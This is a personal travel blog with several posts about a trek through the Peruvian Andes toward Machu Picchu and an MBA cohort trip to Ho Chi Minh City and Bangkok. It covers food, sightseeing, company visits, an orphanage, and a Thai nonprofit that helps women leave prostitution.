We had one of the best meals of our lives at Morena. We chowed on causa (a traditional layered potato dish), lomo saltado (a beef/potato/vegetable stir fry), salted corn kernels that we initially weren’t sure if they were edible but turn out to be a favorite snack, and a pisco sour (pisco is a liquor made from grapes, also a Peruvian must). Peru, particularly Lima, has become one of the best cities in the world for foodies, and believe me – it’s true. 

First pisco sour of the trip!

We love how nobody is rushed in this country. Everyone is calm, smiling, and says “buenos dias!” like we’re already pals. You know how people are generally stressed and rushed at airports? Not in Lima. I love the mindset of “why be stressed?”

Our first inkling that maybe we weren’t prepared for this trip came during our pre-trip meeting. Prior to the meeting, we had no idea who we’d hike with during our four-day trek, and were really glad to meet a sweet family of four and Juan Carlos, our guide. But, all six of us headed back to the camping/adventure stores after learning that we weren’t 100% prepared. Sunhats and rain pants are not optional, we discovered. The other family was sent to purchase walking poles and winter hats and gloves. Uh oh. 

Day 1 of the hike was very challenging. We started at 11,500 ft and ended at the base of a glacier at 14,000 ft. We were instructed to “acclimatize” to the altitude by staying in Cuzco for a day or two prior to the trip. However, in classic Mark-and-Melissa squeeze-it-all-in style, we landed at the Cuzco airport at noon and started hiking first thing the next day. A van picked us up at our hotel at 4 am (not joking) and we rolled out into the brisk mountain air a few hours later. At that point, Mark started panicking that he didn’t bring a winter jacket. I mean, we could see our breath and shivered, and instantly wondered how we were going to make it through several nights of sleeping outside. We both thought it was going to be a brutal four days in the cold. 

Exhausted.

But! The views and the experience of hiking up to a mountain pass were incredible. We hiked for seven hours on the first day, all uphill (and by that I mean up-mountain). The altitude itself was very difficult to handle. The family that we were hiking with had to use “the emergency horse” to escort both of their teenage children who got migraines and nausea from altitude sickness. Thankfully, after not really dedicating much time at all to get used to the altitude, Mark and I did great. I really don’t think that if we weren’t in triathlon shape, this would’ve been possible. I am so glad we did this trip now, when we’re in the best shape of our lives! The weirdest reaction that I had to the altitude is that my heart would be racing, even at laying in bed at night in the hotel at Cuzco. Hiking up for even a few seconds immediately made us huff and puff like I couldn’t believe. I have convinced myself that it’s just what needs to happen for me to get enough oxygen and that I’m not dying 🙂 I would say that the pictures speak for themselves, but they don’t. Take your reaction to the photos and multiply it by ten, and maybe that would resemble the scale and awe-striking visuals of the Andes mountains. 

Unbelievably, the Andes dwarf the Rockies by 8,400 feet (22,800 versus 14,400 ft). Even the Alps don’t compare at 15,600 feet. This is as intense as mountains get. 

And yes, we made it through the night. We slept in almost every layer that we had, but ended up peeling them off in the super-duper sleeping bags that were provided. 

Did I mention that eight people are taking care of us? For our group of six, we have a guide (the marvelous Juan Carlos), three porters, and four chefs. Plus eight horses who carry all our stuff – tents, food, sleeping bags, and gear. We hiked with our giant backpacks for the first day, and we were amazingly relieved of them for the rest of the trip as the horses had less food to carry. This was a service that is typically offered for a fee, but all they said to us is “we’re friends.” And that was that. 

The food has been outstanding. Did I mention that we have four chefs? Mango pancakes were my favorite breakfast, and the homemade soups at every lunch and dinner are outstanding. They make local favorites like quinoa (yes, originated in Peru), lomo saltado, lots of varieties of corn, and dishes with the chili peppers and the small sweet avocados that are native to Peru. How the chefs make these meals over a camping stove is beyond my imagination. Nothing comes from a powder or can. Not to mention they’ve hauled all of the food from Cuzco without stopping to buy anything along the way (since that’s not at all an option out here). They should write a book on how to make fresh gourmet camping meals. 

Day 2 started out even more intense. We woke up to the view of the sun rising over snow-covered mountains. The view from our tent was simply majestic. 

Room with a view.

Our first mission was to climb to 15,900 feet, the highest point of the entire trip. Looking at this mountain pass, it seemed like we were going to be climbing straight up a cliff face. Expecting the worst, we got to the peak in only 45 minutes! The best news is that the rest of the hike for the next three days is downhill. I have to say that being up close and personal with a glacier, and earning our way there, was quite an accomplishment. The other treks that lead to Machu Picchu don’t include any run-ins with glaciers, and we are so glad we chose this one. 

Along the way, we saw lots of animals roaming the mountains including llamas (!), horses, sheep, and cows. Herds of all of these animals were owned by someone, but we never saw a single fence penning them in. We’re still on the lookout for condors and chinchillas. 

Quickly, the snowy mountains drifted away behind us and were replaced by this awesome golden yellow/brown/green mountain landscape with glacial creeks and waterfalls running through it. We agreed as a group that it would be impossible to describe this or any of the sights of this trip. The best I can do is compare it to the fjords in Norway or New Zealand, but we hiked through them instead of boated. I have hundreds of photos of mountains and selfies with them that just don’t come close. 

We’ve really enjoyed getting to know the family that we’re hiking with. While we certainly are friends with each one of them I realize we didn’t have much choice, since things like needing to take a quick jaunt off the trail to pee happen in the first few hours of hiking. The adults are from Argentina and have raised their kids in the US. I’ve actually been to their hometown of Córdoba in Argentina, and we all have fun travel stories to swap. Both are doctors/ surgeons so I’ve gotten to talk shop with them, and they give solid advice about how much ibuprofen to take. 

Our crew!

We’ve learned a lot about local culture and history, particularly about the Incas. I tend to pick Juan Carlos’ brain about these topics while we hike (which really isn’t fair because he has to do all the talking). I was surprised that three languages exist in Peru. One existed before writing came about, so it actually can’t be written down. Spanish is just a second language to many people in Peru. All of our chefs and horseman only speak Quechua, and it’s Juan Carlos’ native language as well. 

Say a prayer that the hiking goes well for the next two days! We’re halfway to Machu Picchu. More to come!! 

Love, 

Melissa & Mark

Final Nights in Bangkok – And The Best Nights

The ladies of Cohort 69, on a boat, loving life

While this entire trip belongs in the record books, the last couple of days were extra special. From visiting fantastic local organizations to experiencing the sights with this great group of people, it’s been just awesome. The final 48 hours topped the charts on all aspects. And all along the way, the Thai people were SO sweet and met us with a smile at every turn. 

#crew

At risk of losing my readers who may not be prepared for this (skip ahead if that’s you), I want to start by telling you about an organization called Nightlight. It was started by an incredibly inspirational leader, Annie, who was born in the US and spent her childhood in Congo and Asia. She came to Thailand and started getting involved in work to prevent and protect women in prostitution. She came to realize just how large of a problem it is in Thailand. 

Annie herself. Champion.

Get this – girls are meant to be the source of funding for their parents, brothers, and entire families in Thailand. To do so, many of them get swept up in working at bars, clubs, strip clubs…and worse. If they can’t financially support their family, they are shamed by their parents and their village. One woman’s village threw a celebration when she sold her virginity and brought her family $2,000. Why girls, you ask? Well, Thais follow a Buddhist belief that women did something wrong in their past life and are “punished” by coming back as a female. Their hard work to provide for their families could be interpreted as a type of penance. 

It was really sad to think of all the girls who are raised to think that prostitution is just what they have to do to keep their families. If they don’t provide, they would be essentially banished for dishonoring their families and community. They then end up with all the problems that come with prostitution: expensive abortions, unwanted children, substance addictions, and an incredible amount of mental and emotional damage. 

Annie is taking a really innovative approach to tackling the issue. She’s building a company that employs women who were formerly prostitutes to give them an alternative. They make products such as jewelry and silk screen t-shirts that generate real revenue. Her goal is that the business meets actual customer needs, instead of customers only buying their products out of pity. She wants the women to feel empowered and establish self-worth, along with learning tangible job skills. 

Annie intercepts women who are prostitutes while they’re at work and is able to perceive who is ready to take action to change their lives. She also works with the government and employers of prostitutes to take action. Another strategy that I think could use a power boost is educating men, or the consumers of prostitution. Annie says 80-90% of Thai men regularly engage in the sex trade industry, and that they frequently take visitors along with them. Tourism is such a major industry in Thailand that foreigners often also engage in the booming sex trade of Thailand. I may be naive, but I firmly believe that if Americans and Europeans knew where this women came from and why they feel obligated to be prostitutes, they may think twice before participating. 

For our cohort, there was hardly a dry eye in the room as Annie was speaking. Note that our group is 20 men and 7 women (and I wasn’t one of the cryers ;)). From our reflections afterward, it opened up our eyes and minds to the challenges that women face both in Thailand and around the globe. It gave us the opportunity to start the conversation. For that, I thank Annie and UST for educating us and encouraging us all to do and be better humans. 

There is so much more to this story. If you want to hear it, give me a shout or check out Nightlight’s website here. As an aside, Annie is a rockstar and deserves the penthouse suite in heaven. 

An awesome tailor lady who whipped up something for me in 3 hours flat

HAPPY STUFF STARTS HERE! You can exhale now. Please.

We spent the weekend in Bangkok when businesses are mainly closed, which means lots of sightseeing and class bonding! Our fantastic tour guide Ann brought us to the Ayutthaya ruins, which was the palace and capital city of Thailand in the 1300’s. If you’ve been to Chichinitza or other ruined capital cities, it was very similar but with a Buddhist flair. Meaning tall temples, feng shui, and sweltering heat. (I learned that even my kneecaps can, in fact, sweat.)

These adorable Asian girls were taking their photos here, and I asked to jump in. They were so sweet and told me I was pretty, as I sweat my butt off.
See that face in the tree? How creepy is that?
Our transportation for the day!

We also toured the summer palace of the royal family. It was originally built in the 1800’s, with a house for each of the king’s wives. Been to Versailles? Like that, but with an Eastern flavor. Such as the story that one of the king’s wives and her three kids fell out of a boat on the canals that swirl around the buildings, and because it’s illegal for anyone to touch the royal family, they drowned. Geez! On a happier note, we all took the opportunity to wear our elephant pants and buy more in the souvenir shop. 

The palace also had some Western elements because the king visited Europe around the early 1900’s, came back and made some big changes. He introduced forks and spoons, and said no more chopsticks. So, to this day in Thailand, there are no chopsticks. It feels almost wrong to me to eat classic Asian food and destroy it with a fork. I say “destroy” because the king must’ve forgotten to bring knives into the picture, so at every meal I have to do the fork-side-cutting-turns-to-mashing maneuver. First world problems, I know. 

Have I mentioned the malls in Bangkok? We visited the mall just across the river using the handy-dandy hotel shuttle boat. It just opened in November and it is spectacular. I think it’s the third mall in Bangkok that is chock-full of the highest end stores that exist. And then multiply a regular quantity of those stores by ten, and you have this ridiculously large and spectacular mall. The reason I went was for the pad thai, which was an outpost of a famous pad thai restaurant, and only cost me $5 for a big ol’ plate of noodles. 

The pad thai crew
There were six items on the menu. All started with “pad thai___”.

A memorable meal was spent with a classmate at a local Indian place. Bangkok is known for lots of great Indian food, and this restaurant didn’t disappoint. It was me, Jane, and many Indian families eating dinner. The owners doted on us to no end, including spicing our food to suit each one of us and then cutting it in half and serving it to us. It was so sweet. The food was delicious, reminding me of our time in Bangalore eating on a banana leaf, and definitely authentic.

Our final shebang for the trip (it’s already over! I can’t believe it!) was a fun boat cruise down the Chao Praya river at night. The highlight for me was the most amazing fruit spread EVER. I thought I knew fruit, but I was wrong. Best eats, in rough order but don’t hold me to it:

  1. Mangosteen. Tastes like a plum and looks like a lychee. So sweet and delicious, I think I had 5 or 6 and I know others had more. 
  2. Coconut pudding. The base were tapioca balls and taro root. Nothing like good coconut and a little surprise of bobas. 
  3. Red bean “fruit”. Okay, I was completely duped on this one. Somebody mashed up red beans (the kind that are used as dessert filling for Asian pastries) and formed them into cute little fruits. Dipped in gelatin and painted pretty colors, they almost didn’t look edible. The nice woman who satisfied all my fruit dreams told me “Red bean!” So, silly me thought this was actually how red beans grew! In cute little shapes that look like cherries. Wrong!! Ugh. Oh well, they still tasted great. 
  4. Mango sticky rice. You know my devotion to mango sticky rice. 
  5. Sapodilla. Brownish fruit that had a similar texture to a pear, but incredibly sweet. 
  6. Papaya. So ripe and carved so pretty. 
  7. Watermelon, oranges, pineapple. No offense but I can get you at home (but with less flavor)
  8. Jackfruit. Just not a big jackfruit girl.  
Table of greatness.
Proof that I ate the prettiest food ever to exist.

I wish I had skipped dinner and instead stolen entire plates of this fruit. Definitely the best food of the trip for me. 

Okay, I can’t sign off without getting a little sappy. This trip has given me the opportunity to really get to know people I never would’ve expected to know. We all come from such different industries, families, backgrounds that it is quite a melting pot. I also want to give massive kudos to the group that we had not an ounce of drama, and I attribute that to our level of respect for each other. Everyone brings something unique to the table. Each person is passionate about their thing. I have so much to learn from each person, and I think many of us feel that way, which results in a group that lifts each other up. Our administrators have admitted that this was the best trip that they’ve ever taken with an executive MBA group (though you didn’t hear it from me). I am really, really honored to spend the last twelve days with this crew and to have experienced everything alongside them. I got to see things through not only my eyes but theirs, and multiplied by 27, that’s a lot of learning. Thank you, Cohort 69, for being so spectacular. 

Back home for a good while now, though you know where to find me on my next trip! 

Love, 

Melissa

Welcome to Bangkok, Cohort 69!

Aahhhh, I’m back in Bangkok and it feels so good. I had told my classmates that I thought they’d like Bangkok even better than Ho Chi Minh, and we agreed. This city is much more developed, more cosmopolitan, and you just can’t beat Thai food. 

On the first night, we arrived late and stopped for street food. I professed my love for mango sticky rice and we all gave it a shot. LIFE CHANGING, I tell you. You just can’t get good mangos, coconut, or dessert sticky rice outside of Asia. We also grabbed some stir-fried mixed veggies with tofu from a street vendor and it was AMAZING. I mean, these street carts definitely wouldn’t pass any city ordinances for cleanliness but they pump out some top-notch grub. 

I was stunned by the view of river from my hotel room. Apparently I had stayed in the nightlife area of Bangkok the last time I visited, and certainly not the five-star hotel neighborhood. It feels like almost a different city. Bangkok is a destination for plastic surgery among the rich and famous, dental care for Aussies, and healthcare for Middle Easterners. And they all stay in the area near our hotel, so it’s quite a melting pot with lots of high-end shopping and restaurants. 

Our first business visit in Thailand was Pfizer, where I had so many questions. Coming from a US-centric view of healthcare, the Thai business environment was fascinating to me. The people of Pfizer Thailand are very entrepreneurial and proactive, not at all satisfied with the status quo – and they actually make progress on their incredibly innovative projects. I somewhat wonder if the regulatory environment slows us down in the US or if it’s just a difference in culture. It felt like nobody has ever said “no” to these people – they just keep charging ahead. It was really impressive. I’ve also always been on the US side where drugs and medical devices are designed and manufactured (including a year spent at Pfizer itself). It was interesting to hear how Thailand wants to be involved in clinical trials and the upfront development work, since it really affects the outcome of their business. It was really great to hear their perspective, as it will help me be a better global business partner.

We’ve been lucky to get time on the weekends in Bangkok, which means more sightseeing (since businesses are closed). Our tour guide Anne has been incredibly hospitable. She took us not only on our regularly scheduled programming, but also set us up with massages and a clothes tailor during her free time. The tailor was quite an experience – we came away with silk robes, patterned pants, custom designed blouses, and pieced-together suits. 

As an intro to the city, we did an “immersion activity” where we all split up into groups and explored in a scavenger-hunt style. My group wound up in the biggest, fanciest mall I have ever seen. Take all of the very, very high end stores you can think of in New York, London, Hong Kong, multiply them by three and put them in a mall – that’s what this was. It was unbelievable. Lunch was in the “food court” of this mall, which was a series of indoor restaurants and counter-service food. It was entirely overwhelming but really fun to experience with the others in my group. 

“Family Sized” means something different to Americans.

We also cleared our pores (aka sweated like crazy) while exploring the Grand Palace. I had visited the Palace when I was in Bangkok a few years ago while it was 110 degrees outside. My main memory was sprinting from one puddle shade to the next. Yet again, even though it was only 92 degrees, we ran from one puddle shade to the next. Our tour guide says it’s winter, it’s cold…we’ll agree to disagree. And the palace was beautiful, of course. The gold and gems and downright glamour of this place is outstanding. 

Ho Chi Minh City Part II – Experiences to Remember

Hello again from Ho Chi Minh City! I left off on my last blog, unfortunately for you, just before heading to ladies’ night. It was a blast getting to bond with these super talented women. We went to an awesome French place called L’Usine (look it up if you ever go to HCMC)! I always find it interesting to see the influences in different cities. I can’t say that I hate the abundance of pastries and baguettes in Vietnam. 

View from L’Usine of the Opera House

We also got our nails done (for super cheap) and were those loud Americans who take over a space and destroy the peace with laughter. A bottle of champagne was magically left in my room, which made nails that much more fun. 

Probably not meant for me & myself on a romantic vacay

On a more sobering note, another standout experience in Ho Chi Minh City was visiting a local orphanage. We had reviewed a case study in class on a US-based organization called Spoon, which teaches orphanages how to properly feed kids. It sounds incredulous, but many orphanages around the world feed children while they are laying down instead of sitting up. They wind up choking or not being able to swallow the food, and suffer malnutrition as a result. Spoon was started by two moms from Minneapolis and Portland, and they’ve done an amazing job of measurably reducing malnutrition in orphanages. 

Spoon has recently ventured into Vietnam, starting with a pilot at the country’s leading orphanage in the care they provide. I had never been to an orphanage before and neither had most of my classmates, so it was sure to be an impactful experience. When we arrived, nobody at the orphanage spoke English and our translator was taking care of a sick classmate. By nothing short of a miracle, we found two Mormon kids walking down the street who stepped in and spent the afternoon translating for us. (It was somewhat ironic that we were a Catholic university requesting their help, but let’s pretend I didn’t say that). They were so friendly and incredibly generous. 

As for the orphanage. Honestly, I was truly impressed at the level of care and love that the kids were receiving. I was expecting the worst and the caregivers at the orphanage far surpassed it. What most surprised me was how many of the abandoned children in Vietnam are disabled. 80% of Vietnamese orphans have a physical or mental handicap, and that was true at this orphanage. “Disabled” and “orphan” are nearly synonymous in Vietnam. Most of the children are brought to the orphanage from local children’s hospitals, where they are tragically abandoned at birth. That part I found to be really, really sad. The kids themselves were so happy, friendly and just kids. They were really fun to spend the afternoon with. I am fortunate that I have always gotten to spend time with loved ones who are also disabled, so I could immediately see past it and hanging out with these kids for the afternoon was simply an enormous blessing. When I find myself with loads of free time after graduating this May, I’m thinking about what I can do to help kids like them. 

That morning, we met with the head of the Ministry of Labor and Social Affairs (MOLISA) in Vietnam, who is typically unaccessible to most. His department is partnering with Spoon to improve the quality of care in Vietnamese orphanages. They’re starting with a pilot in seven orphanages. I asked how he would measure success of the pilot, assuming they would need to determine whether to take it country-wide. He said there was an evaluation form and they would have a “feeling”. I see that we run into the same issues in the US. Long story but we’re running a pilot at work right now without clear metrics and it drives me my boss crazy. Maybe we should tell leadership that we’ll have “a feeling” 😉

This morning, we visited a business that is the leading e-commerce shipping provider of Vietnam, with 60% of market share. E-commerce is booming in Vietnam, just like many countries around the world, but get this – most people still use cash. At the same time, this company and others are using AI, blockchain and very sophisticated technology to power their online platforms. I asked how they’re going to convert consumers from cash (very antiquated) to spring ahead into the 21st/22nd century. No good answer was given, IMO, and I really think it could be a challenge unless Vietnam will just keep leapfrogging ahead. I also asked if they’re privately held, and it turns out that Alibaba recently acquired them. Cue many “ohhhh”s in the room. I betting they’ll be fine, with Alibaba behind them. We got to see how sorting is done in an automated logistics center, very much like an Amazon distribution facility, which was super interesting to see. 

We also visited Monsanto/Bayer in Ho Chi Minh City today, and I think they’re in need of a major business model transformation. Their seeds and other proprietary products are going off-patent and will soon be commodity products. They’re moving to “digital farming” solutions, which will help farmers make data-driven decisions to support their farming. However, they stated that there is a major risk of Google or another big tech company providing a similar platform, and Google would do it at no charge and potentially better than Monsanto could. Monsanto also needs to start selling their digital platforms to farmers, without stepping on the toes of their standard customers who are the wholesalers and retailers. From personal experience, it is quite difficult to make yourself a software company when you’ve always been a manufacturing company. Not to mention shift your focus to an entirely new customer that you’ve never interacted with before. Good luck to Monsanto (though others may not be as good-willing). 

Vietnamese coffee (AMAZING) and little carrying case (adorbs)

OMG. I almost forgot to tell you about our massage experience. A group of us went to a highly rated massage place and got their famous shiatsu massage. I had no idea what a shiatsu massage was until I was doing it. Two of my gal pals and I were in a room for the massage, and it was hilarious to hear the gutteral noises that came out of each of us after some great back-cracking and moments of “good pain”. These 90-pound masseuses could really pack a punch, let me tell you. The real fun started when my masseuse told me to sit up. She sat behind me, grabbed my arms and pulled them behind my back. Next thing I know, her feet were on my back and I was hoisted up into the air. I have no idea how it happened. All I know is that I was in the air floating above my masseuse. A classmate accurately described it as acupuncture, acrobatics, yoga, and maybe a little bit of relaxation. And SO fun. 

Onto Bangkok tonight! As much as I really enjoyed Ho Chi Minh City, I really love Bangkok. Mainly for the food. I cannot wait!!!! Thanks for traveling with me. 

Love,

Melissa